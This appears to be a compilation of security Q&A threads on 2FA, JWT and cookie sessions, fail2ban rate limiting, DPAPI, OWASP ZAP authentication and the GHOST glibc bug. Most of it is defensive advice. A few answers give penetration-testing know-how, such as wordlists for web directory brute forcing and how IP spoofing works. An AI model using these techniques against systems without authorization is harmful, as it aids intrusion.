Is tokenless (specifically SMS) 2FA a security compromise over OTP tokens? I've been looking into the various pros/cons of tokenless (particularly SMS based) and traditional token based two-factor authentication (think RSA SecurID). After doing some research, I think I have a better understanding of the two options when it comes to usability, cost, etc, but I'm having trouble finding good in-depth independent analysis of the security of each solution.

As I understand it so far, tokenless 2FA is cheaper and easier to deploy. I also appreciate that some people are less likely to forget their mobile than they are to forget their OTP token. Disadvantages include the fact that some level of SMS reception is required, although vendors have produced solutions to deal with this, including send the next code immediately after the last one is used, "day use" codes and sending multiple codes in each SMS. Am I right in thinking that these "solutions" are actually a bit of a security compromise? If so, how much of a compromise are they, realistically? I've also heard some say that going through the process of receiving the SMS each time can be a pain for regular users, with traditional tokens being more practical. Has anyone found this to be the case?

Advantages of traditional OTP tokens include the fact that no phone reception is required, and they're practical for regular users. Would you recommend deploying traditional tokens to employees that travel internationally (due to mobile reception issues)?

With tokenless 2FA being both cheaper and easier to deploy, you'd think that traditional tokens would be going out of fashion much quicker than they are. If you were to believe the marketing material from companies such as SecureEnvoy, the days of traditional OTP tokens are numbered. However, I get the impression this isn't quite the case. This leads me to think that many companies are sticking with traditional physical tokens because they believe them to be more secure than tokenless 2FA. Is this the case, or is it due to some other factor? Are traditional solutions like RSA SecurID just trading on the market position they've established in the past, or is there still case for physical tokens?

On first inspection, soft tokens seem to provide some of the benefits of SMS based tokens, without the requirement for SMS reception. If users have smartphones, would that be a better option? Is it a no-brainer to deploy soft tokens over SMS based to users of smartphones, or are there other factors to consider?

I'm aware that I've really asked a few related questions, so just to recap, my questions are:

a) Is tokenless 2FA (particularly SMS based) a security compromise over traditional tokens?

b) Are physical tokens still popular just because they're tried and tested, with companies like RSA trading on the reputation they've established, or is there still an objective case for sticking with physical tokens?

c) Have people found that SMS based 2FA is impractical for regular users and found themselves deploying physical tokens to those users?

d) Are the solutions such as "day use" codes and multiple codes in a single SMS much of a security compromise compared to the default of single codes being sent and stored in an SMS?

e) For users of smartphones, is it a no-brainer to deploy soft tokens rather than rely on SMS based 2FA?

f) Can anyone direct me to some appropriate literature that I should be reading to really get a feel for some of the above issues?

The questions are quite closely related, so I've kept them all together. Please let me know if you feel I should be seperating the above out into separate StackExchange questions.

a) Is tokenless 2FA (particularly SMS based) a security compromise over traditional tokens?

Yes SMS is better than just a password but the weakest of the forms of 2FA.

The main security risks are:

Number redirection
Phone stolen
Transaction performed on the phone. This is a major one with the growth of smartphones and tablets capable of receiving iMessage type messages

Also like you said the operational considerations:

SMS coverage. The options you stated such as sending two codes or a day code reduce the strength of the one time password as it is valid for a lot longer period and thus providing a greater window for compromise
Cost of sending the SMS, especially if you need to send internationally
Require battery

That said it is still the most convenient for users because:

Most people have a phone capable of SMS and carry it with them always.

It also has a security benefit in that:

users are far more likely to notice a missing phone rather than a missing token
if the seed file and/or algorithm is compromised (e.g. RSA breech) it is far easier to replace a fleet of soft tokens or change the SMS OTP seed file and algorithm rather than a fleet of hard tokens

b) Are physical tokens still popular just because they're tried and tested, with companies like RSA trading on the reputation they've established, or is there still an objective case for sticking with physical tokens?

There is a objective case as they provide a fit depending on your threat model.

Of course there is also change resistance. Large companies that have deployed hard token infrastructure, deployed tokens, trained their users have to build a business case for the project not just that say SMS or soft tokens are cheaper and more convenient. Although with the RSA breach for example I know of quite a few companies  that took the opportunity to move to soft tokens.

c) Have people found that SMS based 2FA is impractical for regular users and found themselves deploying physical tokens to those users?

The only times I have heard this are:

A significant enough population of users do not have phones or phones capable of soft tokens and the company cannot be seen to discriminate
Users are already trained in using hard tokens
Users already have a hard token and it is easier to re-use than deploy and train for SMS
International users and the cost of sms or difficulty sending local sms is prohibitive

d) Are the solutions such as "day use" codes and multiple codes in a single SMS much of a security compromise compared to the default of single codes being sent and stored in an SMS?

Yes as they reduce the strength of the one time password as it is valid for a lot longer period and thus providing a greater window for compromise

e) For users of smartphones, is it a no-brainer to deploy soft tokens rather than rely on SMS based 2FA?

Not necessarily. A threat model still needed, a soft token still can be compromised more easily than a hard token. Smart phones are computers, they can still get malware, applications can gain access to your seed or OTP and transmit it elsewhere.

Also the operational considerations mentioned above. If it is a mining environment is a hard token that needs a new battery every few years and is more resistant to dirt, variation in temperature, liquids going to be better?

f) Can anyone direct me to some appropriate literature that I should be reading to really get a feel for some of the above issues?

Oldie but a goodie:
http://www.isaca.org/Journal/archives/2007/Volume-3/Pages/Analyzing-the-Security-of-Internet-Banking-Authentication-Mechanisms1.aspx


What antivirus/internet security software now Kaspersky is off-limits? Now that the federal government has removed Kaspersky as a vendor, what software is recommended? I have used Kaspersky for 12 years, always with good results. Now, it seems they are a "back-channel" to the Kremlin. Any recommendations to replace Kaspersky internet security for the home user?

The order to remove Kaspersky as a vendor only applies to government/DOD systems. You can use whatever solution you deem best for systems not under government control. Regardless of why you pick, realize that in making a choice you are trusting that vendor, and antivirus runs with admin privileges and can be a vector for attack.


JWT or session cookie for API for both web and mobile app? I've been reading all I could about this subject for the last couple of days and I can't decide what would be the best approach.

The only two requirement are:

I need to know the users that are logged in and every session they have, so the user would be able to see a list with this information and be able to close any session they choose.
Both apps should use the same endpoints of a rest API.

At first I was using session cookies, and calling the API with setCredentials=true, but I found that mobile apps handle cookies differently and I don't have control over that (for example, they get deleted for various reasons before expiring). I thought about saving the cookie in native storage and appending it to every request, but I can't access the cookie in any way because httpOnly is set to true. The solution would be to set httpOnly to false, but this way I'm exposing the cookie and I'm not sure of what security measures I should put in place to protect the cookie from been stolen or tampered with.

The other solution would be to use JWT and store that in web/native storage. I would also store in a table every token still valid (hashed with a password algorithm) to get the list of users logged in and their sessions, and another table for invalid tokens for when the user chooses to end a particular session / changes password / etc. But again I'm not sure about the security measures I should us with this approach. Should I encrypt the token also? I was thinking about appending to it data about the device that ask for the token to always check that the device that asked for the token is the one using it. What other things I should do to protect this token?

If I implement correctly either of this options, which one would be more secure for both web and mobile?

Before going into the details I will say that both session cookies and JWTs work for your case and both are secure if implemented correctly. Personally I would go with JWTs if only because it's easier to get up-to-date information or ready-built solutions.

JWT

JWTs were really designed for stateless authorization in mind but you can still use them for sessions. You'll want to look in particularly at using an access/refresh token model where you keep track of active refresh tokens in your database.

As for encryption, there are two main implementation of the JWT standard, namely JWS (a signed token) and JWE (signed then encrypted token). What you want to keep in mind is that a signed token's signature already ensures the integrity of the token. You would only implement JWE if you are also passing sensitive information in the token that you want obscured from the client. However JWT by itself does not solve problems with man-in-the-middle attacks so you should remember to use SSL whenever transmitting the token.

Storage of the token will differ between your web app and mobile native app. For mobile apps you should store them in the OS's Keychain/Keystore (most likely through a wrapper) which is designed for such a purpose. Where to store JWTs on a browser on the other hand is still a rather controversial topic as storing in webstorage (sessionStorage/localStorage) is vulnerable to XSS-Attacks while storing inside a cookie is vulnerable to CSRF.

From what I can gather the general trend is to avoid webstorage due its larger attack surface, but to be honest I've seen examples of both methods. For single page applications you can also consider keeping the token in memory without persistent storage.

Session Cookies

Without knowing details of your mobile app it is hard to say but from my experience if you are using the CookieManager/NSHTTPCookieStorage mechanisms provided by Google/iOS there shouldn't be a problem of deleted cookies that you describe.

Storing cookies on the browser will require you to secure it against CSRF. For what protection you should use it will depend greatly on your specific server implementation and restrictions and I think you should check out the resources on OWASP or ask a more specific question.


Practical ways to prevent Denial Of Service attacks I am an undergraduate Computer Science student and was hoping to gain some knowledge of ways to help prevent Denial Of Service attacks.I read about some of here:
https://en.wikipedia.org/wiki/SYN_cookies

https://en.wikipedia.org/wiki/Port_knocking

But was having difficulty as to how to start to convert them to practical terms as simulation will require attacks too on the same system.Besides,these attacks become more deadlier if IP is spoofed. Any solutions for that and how can I simulate them.

IP spoofing is forging a new IP datagram impersonating a different machine from your own.  This is done by modifying the IP header, replacing the source address (your own) with a forged one.  This is successfull because IP is a stateless protocol and (in addition) provides no type of integrity on its own.

Any type of integrity control would prevent it such as TCP-AO or IPsec-AH.

TCP-AO (TCP authentication option) provides a MAC calculated over the TCP packet and some sections of the IP header (such as addresses).  A MAC algorithm provides message authentication, meaning this that we can detect if these fields have been modified in transit.

IPsec-AH calculates a MAC on the whole IP header and on the IP payload.  This MAC allows us to detect whether the whole IP datagram has been modified in transit.

SYN cookies have nothing to do with IP Spoofing.  SYN cookies are used to prevent DOS attacks.
Port knocking is really focused on avoiding your machine ports to be scanned.


How do I get the "vulnerabilities history" of a Node.js package? When installing a Node.js package via npm or when running npm-audit I get information about known vulnerabilities of packages in the project. From my understanding this means that there must be some database somewhere that contains this vulnderability information.

Is there some possibility to use this database to get a "vulnerabilities history" of a package? I want to query this DB for npm package "xyz" and get all versions and the known vulnerabilities associated with this version.

If you are searching for vulnerabilites in packages and software I would suggest to look in databases like https://cve.mitre.org/. There are all common vulnerabilities and exposures listed you are talking about.
Just type your software into the search field and hit submit (like wordpress):

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=wordpress

BUT: Take care. These listed vulnerabilities are just the known ones. If you look a version up and cannot find anything it doesn't mean that there are no problems with it.


What ways are there to populate web directory wordlists? Background: as a pentester I often just get IP addresses where websites are hosted. Since sometimes DNS is not available or the client wants a black box test, getting to the actual hosted application is difficult. One technique commonly used is Web directory brute forcing. Tools like dirb, dirbuster and so on use wordlists. But these lists rarely get updated and often fail me in corporate environments (think share point, owa, Lync/sfb...).

What efficient ways and techniques are there to create these lists beforehand? What ways are there to get e.g. a tomcat/iis/... server to spill it's secrets without wordlists when tools like DNS are not available?

You can use word lists in the Kali Linux /usr/share/wordlists.  If you want to create specific word lists, you can use the Crunch.


Killing IP connections who "spam" with requests How can I go about killing IP connections that seem to be sending a lot of requests to the same url? Let's say I have someone who requests the same url for more than 10 times in 5 seconds, I want to "cool" him off. Any ideas on how it's done?

On *nix, you can use fail2ban with a something like this in your jail.conf (100 requests in 30 seconds means a 5 minute ban). Of course, you'll have to adjust this for how many requests you expect from a legitimate user -- as @Jeff Ferland points out in the comments below, you need to account for the number of requests that you receive on a normal page load (e.g. you have a lot of images on the page).

[apache-spammer]

enabled = true
banaction = apache
port    = http,https
filter  = apache-spammer
logpath = /srv/*/log/access.log
maxretry = 100
findtime = 30
bantime = 300

and a filter like this in /etc/fail2ban/filter.d/apache-spammer.conf:

[Definition]

# Option:  failregex
# Notes.:  regex to match the request messages in the logfile. The
#          host must be matched by a group named "host". The tag "<HOST>" can
#          be used for standard IP/hostname matching and is only an alias for
#          (?:::f{4,6}:)?(?P<host>[\w\-.^_]+)
#
failregex = ^<HOST>.*/path/to/content.html

This is untested -- you'll have to experiment a bit to find what works. Watch your fail2ban.log to verify that you aren't banning innocent users!

An alternative would be a firewall rule that rate-limits requests from a particular IP address.


How to reset account passwords after falling victim to password reuse? I recently had one of my accounts compromised after falling victim to an online phishing scam. To make matters worse, while I've used unique passwords for any account created in the past few years, my 14 year-old self made the critical mistake of reusing passwords between multiple accounts.

Since then, I have received emails from several sites warning me of login attempts from unauthorized sources. To keep my account secure, I'm now faced with the arduous task of resetting passwords for nearly 280 different accounts.

I've attempted to use LastPass's Automatic Password Reset, but have had limited success. It requires manually checking which sites are supported, lacks an option for resetting multiple accounts at once, and sometimes fails to register successful password resets.

How should I go about resetting multiple account passwords after a security breach?

Since there are many different ways in which password reset functions can be implemented, the only real option is spending some time going through resetting them manually. Yes, it's a pain, but once you're done, you're not going to be worried about the same problem again.

At the very least, prioritise accounts - if you've not used them for years, there is probably less urgency than for something you use regularly, or your email account, for example.


Should I show the security answer when the user goes back to edit the field? So when a user signs up to create an account, they are required to select select questions and enter security answers. Once they do that, they can proceed forward to a review page that shows them the security questions but masks the answers (I put dummy masked answer on the review page). Now they are given the chance to edit their information before creating an account.

So, if the user decides to go back and edit the security questions and answers, I am wondering should I display the answers back from the server to client in plaintext(The client wants the answers to be typed in as plaintext) or should I just blank out all the answers field (but keep the questions selection) and have the user type in all the answers again to proceed?

What is the better approach from a security standpoint?

Currently, I would be hashing and adding a salt to the security answers to be saved as such in the database.

Assuming this is all done during the enroll process, which it sounds like it is, there isn't a lot of risk associated with displaying the plaintext answers to the user.  It's pretty unlikely that an attacker will be able to hijack a user's session mid-enrollment in order to see the security question answers.

However, it doesn't seem like it would be terribly inconvenient for the user if you blank out those answers.  I suppose a small percentage of people might go back to edit them in order to make sure they recorded the answer they thought they did moments ago, but they could also just retype the answer they wanted.  So if it makes you feel better to blank them out there probably won't be a lot of user frustration associated with that practice.

If a user can log into the app at a later time and edit security question answers then my advice would be to not display the current answers since it is more likely that an attacker could hijack a normal session (or find a logged in browser) and copy the answers.

It sounds like your plan to hash the answers would make that functionality impossible in your app anyway.  That practice, by the way, is likely to cause you some usability problems since people may not type in their security answer exactly the same way during enrollment and later during use.  Some implementations of security questions encrypt answers instead so they can make looser comparisons (e.g. not case sensitive, ignore trailing spaces, etc.) and be more user friendly.  That is a bit less secure, but it is a tradeoff some people are willing to make.


How safe is it to use older/unknown Encryption methods for plaintext? When mailing or chatting with people, it had crossed my mind, what if, for simple communication, someone would use an older encryption method (i.e., ENIGMA), to encrypt their message?

Would because of the uncommon method and name of the encryption, it be harder for eavesdroppers to understand what method is used? thus harder to decrypt messages?

In short: Is it "safe" to use an Unknown or Older encryption method to encrypt messages due to its uncommoness?

The encryption method is without doubt unsafe due to it's simplicity, but still takes some work to crack, if i'm right.

Your method cannot be completely unknown, since both sender and receiver know it. Moreover, they run it; so either it is simple enough that they use it in their heads, or it exists as some piece of additional software, in which case the method is also known to their hard disks, the method designer and implementer, and github.

In fact, unknown methods do not exist.

Old encryption methods, however, do exist, but they are cumbersome to use and invariably inefficient. Enigma had no character for space... In his time, Edgar Allan Poe had made a specialty of breaking substitution ciphers, and boasted that none could resist the onslaught of his magnificent brain (to my knowledge, he was not proven wrong in this time).

Actually there is one old method that would ensure security: the good old One-Time Pad. But using it properly requires having, indeed, random pads at hand. Both sender and receiver would have to keep a booklet of random pad on them, and dutifully cross out the used elements. If you hold the book in your left hand and the pencil in the right hand, you will need to strap your smartphone on your knee and enter the message with your nose. Physical comedy notwithstanding, I fail to see how this could qualify as usable.


Is it good practice to manually lock down ports on each host We have a strong perimeter firewall.  Would it make sense to still use IPTables on each host to hard block any and all ports except for the ones that are needed (DNS, 80 for the web server, nagios ports, etc.), or would this just lead to inefficiency.  The web server gets millions of hits per day.

Yes, it is a good idea to lock down all of the hosts inside the firewall as well to protect against any threats coming from your internal network. That way, if someone gains access to your network or if there is a virus/worm/etc attacking your local machines, there are that many fewer services that could potentially be compromised.

Someone else will need to speak to the inefficiencies in this particular case, although my suspicion is that they would be negligible.


What is the recommended expiration for a password reset link? What is the recommended expiration for a password reset link generated for a user?

Citations/ links to NIST guidelines and documentation are very much appreciated.

It depends on how you’re communicating with the client. NIST recommends the following during the enrollment process when it’s considered a part of the authentication process; which I would consider equivalent to the password reset process. Also note these are maximum values, you may certainly use shorter intervals than these.

4.4.1.6 Address Confirmation

[ ... ]

e. Enrollment codes SHALL have the following maximum validities:

i. 10 days, when sent to a postal address of record within the contiguous
United States;

ii. 30 days, when sent to a postal address of record outside the contiguous
United States;

iii. 10 minutes, when sent to a telephone of record (SMS or voice);

iv. 24 hours, when sent to an email address of record.

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63a.pdf


How to secure a web-only end to end encrypted chat with message persistence? Currently, I'm trying to create a web-only end to end encrypted chat, with message persistency.

I did some readup on how to create an end to end encrypted chat in JS, I found out there are quite some libs for encryption in js, which is good to know. I'd be capable of writing a chat straightaway now.

However, I still have some problems thinking about the persistency point of view - How would that work?
Let's say, my server stores the encrypted messages, and the client would ask for them when loading the chat, so he can see a chat history.

Most of the tutorials I saw didn't bother with persistence, they just created keys on the fly for each load.

My main problem right now is, that I'd somehow have to persist the chat key for the customer, but I don't know how.

If it is cookie-based, it would probably be lost at some point and with that all messages are lost. Also, this wouldn't work with logins on multiple devices

The only solution I can think of is to store the keys on the database and hand them out to the customer when necessary, but how do I do this without getting knowledge about the keys? As soon as I as a website maintainer have all the info about the customer's keys, it's not really end to end encrypted anymore, right? However, this is the only way I could think of it right now. For this, I would probably have to generate a key-set on signup, which I will then hand out to the customer on login. This key-set will be stored on the database in an encrypted way (My app does have general-purpose encryption for settings etc).

Is this simply a tradeoff I have to do, picking between true end to end encryption and portability between other devices?

I am the developer of https://www.encryptedsend.com/, which is a browser-based end-to-end encrypted messaging system with message persistency.  Encrypted messages are stored on the server, as you describe in your question.
With regard to your question,

My main problem right now is, that I'd somehow have to persist the
chat key for the customer, but I don't know how

There are a number of ways to handle key management in in-browser crypto applications:
One solution is to simply derive a key from a password that the user enters when the he/she begins a session with the application.  Then, the key is derived from the password (via client-side scripting, in-browser) using a key derivation function such as PBKDF2, with a large number of iterations.  This solution is simple to implement, and has the advantage of not requiring any storage on the client side, and does not create challenges if users need to access the system from multiple devices, but may be susceptible to brute-force attacks if weak passwords are used.
Another solution is to use IndexedDB to store users' private keys.  See more information about this solution here.  This solution is more resilient to brute-force attacks than the above solution (because the key is not derived from a password), but the private key is stored unencrypted in IndexedDB (see here), and this solution may present challenges if the user wants to access the system from multiple devices, as this would require keys to be transferred from IndexedDB on one device to IndexedDB on another device.
Yet another solution is to store the private key in a file, which the users is responsible for storing securely on his/her system.  For additional security, this file is encrypted using symmetric encryption, with a key derived from a passphrase via PBKDF2 with a large number of iterations.  When the user begins a session with the application, he/she provides the key file to the browser, along the password to decrypt the file, and client-side in-browser scripting decrypts the file to access the private key.  This private key never leaves the web browser, and is then used to authenticate the user with the server, and to decrypt encrypted messages downloaded from the server.  This solution is resilient to brute-force attacks (because the underlying key is generated randomly, instead of from a password), it does not store the key unencrypted on the user's system, and the user can access the system from multiple devices by (securely) transferring the file to each device.  This is the method used in EncryptedSend.  For more information, see the whitepaper.


Preventing active OS fingerprinting with iptables I'm studying network security on my own and I have a few basic theoretical questions here.

Would dropping every incoming packet at the network layer be enough to prevent active OS fingerprinting? I guess this could be done with iptables, is that right?
I also guess that, if done this way, opening any port would be enough to enable fingerprinting once again, is this correct?
Finally, is there a less restrictive way to defend against OS fingerprinting? If not in general, at least against a certain implementation like nmap's.

OS fingerprinting, as you described, uses the network traffic characteristics of the OS. Some utilities exist to alter the defaults in order to mask the type of OS you use.

Dropping all incoming packets would work against fingerprinting attempts made by initiating new traffic from the outside, but not against fingerprinting attempts made by the destinations that you initiate traffic to. Opening a port to respond to initiated traffic would allow that type of fingerprinting.

You could proxy all traffic through another OS, thereby masking the traffic with the other OS.

The bigger question to ask here is "why do it at all?" Security by Obscurity has a place in a defence posture, but it is not meant to be a protective measure, but simply to raise the bar a little on automated attacks. If you have proper security in place, masking your OS networking defaults isn't going to gain you much. I would spend far more time on more fundamental defences than trying to confuse an OS fingerprinter.


Securing an IIS application with a complex configuration I'm in a bit of a pickle.

I've got an IIS application which accesses an SQL database (on a different machine). This already means that:

a) the IIS application needs to have a connection string to the database containing the password
b) the IIS application needs to run using an AD identity which has access to the SQL database

Option b) seems to be more secure.

However, there's a secondary requirement:
The database mentioned earlier contains sensitive information which is AES encrypted. The IIS application has stores the AES key locally and also encrypts it using DPAPI (to avoid storing it in plain-text). DPAPI has a small issue however:

1) If I let the IIS application run using the ApplicationPoolIdentity role then DPAPI works fine
2) If I let the IIS application run as a specific AD user, then DPAPI fails to decrypt data after an IISRESET

As you can see, b) conflicts with 1), and a) conflicts with 2).

How should I tackle this problem?

DPAPI actually works through 2 pretty simple function calls: CryptProtectData and CryptUnprotectData.

To make a long story short, CryptProtectData has two mode of operation: User or system. If you use the user mode (default), then the data is encrypted using the current user logon data. It means that you can only sucessfully call CryptUnprotectData on the same data from the same user context as the one you called CryptProtectData from. (in "system" mode, any process running on that same machine can decrypt the data but not from another system: no too good when the data is in a database).

This means that, if you initially encrypted your data in the SQL server database using a specific AD user account, you're permanently limited to using this user to access it. (This might be considered a defect or a feature depending on the application).

What does it means to you? Well, unless you can change the way the application works or you're willing to reset encrypted data completely, you cannot change the identity used by the web application process.

The good news, however, is that this doesn't have to be insecure: if your web application is an ASP.NET app and uses connection strings stored in the web.config file in a standard way, you can protect them using the DAPI as well but this time with a delegate to the system. Microsoft has a pretty lengthy explanation on how to do that.

Finally, there is always the usual way to dead with that kind of issues: contact the application developers: they are the ones that can tell you exactly what is supported and how. If necessary, they are the ones that can also make the necessary changes to their system to reach the security goals that you have set.

Edit: There is an additional element that you must take into account in your case: when using DAPI, the master key used for encryption is stored in the user profile.

This means that, when you're using a virtual user account (as the ones created for you when running a web app under AppPoolidentity), DAPI actually will not be persisted or reloaded since there is no actual profile created and you will experience the issue you describe: IISreset causes the application to lose its master encryption key because it cannot persist it.

To solve that, you can switch to switch to the NetworkService identity for your web application pool. You will lose the segregation of user provided by the virtual account but, beyond that, it should work in the same way. Microsoft also suggests that you check the "LoadUserProfile" property of the web application pool but I'm dubious that changing it will solve your issue on its own: try it but my guess is that you'll have to use NetworkService as well.


What exactly is client-side encryption? I've done a bit of research on client-side encryption, I've looked on Wikipedia and various other sources, I was just curious, however, if you had a network administrator watching over all traffic, all POST data, etc. would client-side encryption help hide messages being sent/received so that the net admin would not be able to read them?

would client-side encryption help hide messages being sent/received, so that [my local network administrator] would not be able to read them?

Client-side encryption is not about transport encryption. The point of client-side encryption is not whether an eavesdropper can capture your communication on the way to a server. Rather it's about encrypting data without involving another party (i.e. the service provider, "the server") in the process.

Client-side encryption just means that the server doesn't encrypt the data which it's storing for a user by itself, but leaves the encryption to the client, giving the client full control over the process. This way  the service provider is proving that they can't access the plaintext because they never handled the encryption keys in the first place. In theory, this means you don't need to trust the service provider to handle your data confidentially. (In practice, you'd have to verify that the provided client application actually implements CSE as promised by the provider.)

Whether the client-side-encrypted data is transferred securely (over an encrypted channel between you and the server) is a separate issue.


Setting up OWASP ZAP Authentication So I have recently been working on security testing with OWASP ZAP. However I have hit a road block in that I can't get the (ajax) spider to test within an authorized area of the single page application.

I have looked at the different options in session properties as described in the image below. However the authorization to my single page application involves sending a base64 encoded username and password as a header value which doesn't appear to be supported.

Ideally I need to either be able to simply specify the header values base64 string myself, or specify username and password and have the ZAP proxy just enter the fields, and submit them and let the web application encode and send them.

I was really just wondering if anyone has any good suggestions to get around this limitation? I saw the "Script-based Authentation", but was unable to import a script for it, and wasn't quite sure how it would work?

You can use the Zest functionality of ZAP to perform your authentication. In the icon bar on the top, on the far right you will find a tape icon that says "Record new Zest Script...". Hit it, choose a name and choose "Authentication" for the "Type" dropdown.

Now open the a browser via ZAP and manually perform a login to you site. Stop the recording by hitting the tape icon again. In ZAP, on the left side where the scanned Sites are shown, switch to the "Scripts" tab to find your script. You will see any recorded requests and you can go on to delete any records that are not necessary for your authentication.

On the top right, next to Quickstart / Request / Response you should see a "Scripting Console" tab in which you will find a button to run your recorded script.

If the script is working, now go back to the context settings you screenshotted in the OP and choose Script-based Authentication. You will be able to select your recoreded script. Hit "load" and fill out the regex patterns.

Now to the part that has cost me a lot of time: you have to specify a user in the context settings although it should not be necessary because the user is part of your script. Just type in whatever you want for username and password.

Now you're done! Start a spider, choose the your context and your fake user and it should be working.


Privilege usage checks What does it mean that "the permission system does not include checks for transitive privilege usage" (quote from a paper on Privilege Escalation Attacks on Android).

Android grants app privileges during installation, but (as above) there's no some kind of checks. What is it about?

It means just what it says: the Android permission system does not try to identify transitive requests to use privilege.  For instance, if app A asks app B to do something on its behalf, and in response app B asks the underlying OS to do something, then the OS permission checks only take into account that B is requesting, not that the request originated with A and is being performed on A's behalf.

To understand in more detail, I suggest that you read the following papers:

Android Permissions Demystified. Adrienne Porter Felt, Erika Chin, Steve Hanna, Dawn Song, and David Wagner.  CCS 2011.

Quire: Lightweight Provenance for Smartphone Operating Systems.  Michael Dietz, Shashi Shekhar, Yuliy Pisetsky, Anhei Shu, and Dan S. Wallach.  Usenix Security 2011.

Permission Re-Delegation: Attacks and Defenses.  Adrienne Porter Felt, Helen Wang, Alex Moshchuk, Steve Hanna, and Erika Chin.  Usenix Security 2011.

Wikipedia on the confused deputy problem.

P.S. In the future, when quoting from someone, you might want to provide the source of the quotation.


Hash value changes after first opening a file Is it possible or normal that the hash value of a file changes just after the first opening/execution of it?

I used sha256sum function within Ubuntu terminal to check the hash values before and after the opening/execution of the file.

The file has a hash value just after being downloaded (before first execution/opening); and has another hash value just after the first closing it.

The type of the file is PDF.

Unless the content of the file changes in any way, it is not possible. Hashing algorthims rely on the content of the file to determine the hash of the file.

Unless the file has changed its own content upon execution, or you have written to the file in some way (even metadata within the file itself), then the hash will not change. One flipped bit in a file will cause an entirely new hash in a secure hashing algorithm.

In short - if you see a different hash, the file's contents have changed, even if it is by one bit.


How to find out whether an ISP adds a perma-cookie to my requests? I am interested in finding out whether my (or any) current ISP (Internet Service Provider) uses a technology known as "perma-cookie" oder "sticky cookie" when I am browsing the internet.

This consists of inserting a special HTTP header into every HTTP Request sent via their network. It would allow the visited site to uniquely identify a user (household/ISP customer) and, with the help from the ISP, get specific personal information about that user.

Verizon and AT&T in the US are currently known for doing this, according to the following articles:

Security Now! Podcast #479, show notes
Post by the WIRED magazine
Test page by @kennwhite

I am not located in the US, so this specific case does not apply to me. However, how can I find out whether my (or any) ISP is using such cookies? Are there any other (international) test pages?

Note: I am not talking about the evercookie.

Note2: If any of the mods thinks this is off-topic because of the request of (off-site) test pages, feel free to remove that part and this note. I am mostly interested in how to find out generally.

Send a request to a server you control and see it it was altered in transit; you may also use a online service like HTTPBin, it's designed to test HTTP client libraries and has pages that return the exact request content, so you'll see if additional cookies were added.

Note that ISPs can be sneaky about this and only add the cookies in requests to their partner's websites, in this case I don't see an easy way to detect this without getting access to their partner's servers, but a reliable way of mitigating this would be to use HTTPS which prevents MITM attacks like the one you describe.

For HTTP sites you'll need to pass your traffic through an encrypted (IPSec ?) tunnel to a server behind a reliable and respectful ISP.


Beginner > Medium > Advanced Books/Guides/Tutorials on TCP/IP I am a long time web developer looking to get into infosec. I was hoping to get guidance on material from a beginner's stance on TCP/IP and hopefully "networks".

I realise the massive generalisation I'm making but being helped in the right direction would be amazing.

I have a script-kiddie level of understanding of nmap and obviously I'd like to go beyond that, eventually tackling the OSCP, CREST and Tiger exams.

Having won the most creative answer for the SANS holiday in December hack after passing my CEH (please... I know) in November which is when I decided to go for it.

Looking at what would be seen as beginner's guides that move onto medium and then advanced, if such a path exists.

TCP/IP is a complex topic and there are probably many answers to your question. For a beginner, after reading the respective Wikipedia articles (often an underrated source), I can recommend the CCNA Study Guide, they are not only taking Cisco hardware into account and it's a renowned institution. The CompTIA Network+ Deluxe Study Guide is much more in depth, more like a reference book with around 800 pages.

After this, it would probably a good idea to set up some networks yourself in virtual machines (especially if you want to go for OSCP). The LPIC learning resources can help you a lot here.

You should be selective, tho, unless you want to work as an admin. Many of the functional aspects of networking can be skipped, as well as the more hardware related setup of networks. Most pentesting books assume just a basic knowledge of TCP/IP and you really don't need a huge lot more unless you are really into WiFi penetration.


GHOST: which services are vulnerable, ssh, web server? GHOST (CVE-2015-0235) just popped up.

GHOST bug: is there a simple way to test if my system is secure? deals with how to find out if your system is vulnerable.

exim is mentioned specifically.
Apparently OpenSSH is vulnerable but attacks can easily be prevented:

  In the mean time, you can implement immediate limited threat
  mitigation by disabling reverse DNS checks in all your public facing
  services. For example, you can disable reverse DNS checks in SSH by
  setting UseDNS no in /etc/ssh/sshd_config.

Which other common server software open to the outside world are vulnerable to this attack? varnish, Apache, nginx? And are there quick work arounds like with OpenSSH?

One can reasonably conclude (see below) that it will require some detailed analysis to determine if an arbitrary software package is vulnerable, and what configuration or mitigations may apply. Any service which performs name resolution could be at risk (patch, and be safe!).

Qualys have already provided a list of software using the affected functions which they cannot exploit at this time:

  apache, cups, dovecot, gnupg, isc-dhcp, lighttpd, mariadb/mysql,
  nfs-utils, nginx, nodejs, openldap, openssh, postfix, proftpd,
  pure-ftpd, rsyslog, samba, sendmail, sysklogd, syslog-ng, tcp_wrappers,
  vsftpd, xinetd.

Right now, only Exim is confirmed exploitable.

The CVE details site keeps track of vendor details for vulnerabilities, it's not up yet but it should appear shortly here fully complete yet, you can find it here: http://www.cvedetails.com/cve/CVE-2015-0235/
(see the recent Shellshock CVE-2014-7169 page for example). The oss-sec email list is a good way to keep track of breaking news.

The Qualys POC (GHOST.c) indicates only if the glibc is affected, what should accelerate the process is the upcoming promised Metasploit module from Qualys (though I suspect there will be others scrambling to develop modules).

(I don't buy the OpenSSH "mitigation" linked to, UseDNS causes a reverse look up of the IP address of the TCP connection, which of course cannot be sufficiently controlled by the attacker. I'll update this when I have a chance to verify the steps taken. Reverse DNS in OpenSSH or OpenSSH+libwrap is not exploitable.)

The original advisory is rather long, and the audience is expected to have a better than passing knowledge of libc and C programming. Much space is devoted to code and programs which are not vulnerable by way of explanation of the various complexities. The "publicity page" here is rather more digestible, and contains the nowadays obligatory vulnerability artwork.

Because of common programming idioms, and the very specific code paths to the vulnerable code, many programs are not vulnerable. To be clear, there is a problem affecting a handful of DNS related functions in glibc(<2.18), and DNS is an excellent way to get attacker controlled data into a system, though it's not a great way to get arbitrary data in. But, unlike some recent high profile issues, simply using the library or using those functions does not automatically make a program vulnerable.

That said, this is a newly publicised issue, other ways to trigger the issue may be found, there is no excuse to put off patching. The gethostbyname* functions in question are considered "obsolete" since they do not support IPv6 notations and have been replaced by functions that do, but they are very prevalent.

This non-trivial exploitation of the vulnerability is explained in detail in the advisory, take the example of the (not-exploitable) mount.nfs in §4.2 : a setuid-root binary on most distributions, so a good opportunity for local privilege escalation:

  Similarly, mount.nfs (a SUID-root binary) is not vulnerable:

    if (inet_aton(hostname, &addr->sin_addr))
            return 0;
    if ((hp = gethostbyname(hostname)) == NULL) {
            nfs_error(_("%s: can't get address for %s\n"),
                            progname, hostname);
            return -1;
    }

